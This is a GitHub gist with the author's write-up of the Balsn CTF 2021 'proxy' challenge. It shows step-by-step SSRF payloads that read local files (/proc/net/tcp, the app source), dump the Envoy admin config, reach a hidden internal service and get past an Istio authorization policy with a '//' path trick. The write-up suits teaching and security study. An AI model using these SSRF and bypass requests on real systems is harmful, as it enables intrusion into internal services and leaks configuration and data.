Skip to content

Instantly share code, notes, and snippets.

@YSc21
Created January 6, 2022 12:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save YSc21/f8ff767e5142e1ada639a36293b8ec6f to your computer and use it in GitHub Desktop.
Save YSc21/f8ff767e5142e1ada639a36293b8ec6f to your computer and use it in GitHub Desktop.
Balsn CTF 2021 - proxy

Proxy

Never Trust, Always Verify.

http://proxy.balsnctf.com/

Flag is not a local file, you don't need to use any fuzzing tools.

Author: ysc

It's a misconfiguration of Kubernetes with Istio, there are 3 steps you need to do:

  1. Recon: SSRF recon to find local port 15000
  2. Recon: analyze local port 15000 and find a secret service
  3. Bypass: SSRF and bypass istio misconfiguration

Here is istio misconfiguration reference: https://istio.io/latest/docs/ops/best-practices/security/#understand-path-normalization-in-authorization-policy

Recon: SSRF recon to find local port 15000

Same page as Balsn CTF 2020 TPC, you get:

/query?site=[your website]

Yeah, I really like SSRF.. and Recon ;) You can try some SSRF recon and find that it can read local files by http://proxy.balsnctf.com/query?site=file://xxx. Nice urllib!

Query http://proxy.balsnctf.com/query?site=file:///proc/net/tcp and extract some listening TCP ports from /proc/net/tcp, you will find port 15000 (0x3A98).

Also, you can get command line by file:///proc/self/cmdline and get source code by file:///opt/workdir/main.py:

# main.py
import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/meow")
def meow():
    return 'meow?'


@app.route("/query")
def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site, timeout=5).read()
    return text


@app.route("/")
def hello_world():
    return "/query?site=[your website]"


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)

But it's weird that we can't access http://proxy.balsnctf.com/meow and only get RBAC: access denied.

Recon: analyze local port 15000 and find a secret service

Google RBAC: access denied you will find that it's Istio and port 15000 is Envoy Admin Interface, so http://proxy.balsnctf.com/meow is blocked by istio authorization policy.

We can try to dump config by Envoy admin interface: http://proxy.balsnctf.com/query?site=http://127.0.0.1:15000/config_dump

It's a large json file, after analyzing route configs in json, you will find we can access a secret service and port: secret-service-20a91e:39307

Bypass: SSRF and bypass istio misconfiguration

Try to access the secret service by SSRF: http://proxy.balsnctf.com/query?site=http://secret-service-20a91e:39307 and get here is your flag: <a href="/flag">/flag</a>.

But when you access http://proxy.balsnctf.com/query?site=http://secret-service-20a91e:39307/flag, you will get Internal Server Error, because the istio authorization policies in this challenge deny connections when we access secret-service-20a91e:39307/flag.

So the last step is bypass! Let's read official docs: https://istio.io/latest/docs/ops/best-practices/security/#understand-path-normalization-in-authorization-policy

Bypass path of istio authorization policy is easy, just // to bypass path normalization!

Now we can get flag: http://proxy.balsnctf.com/query?site=http://secret-service-20a91e:39307//flag

BALSN{default_istio_service_mesh_envoy_configurations}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment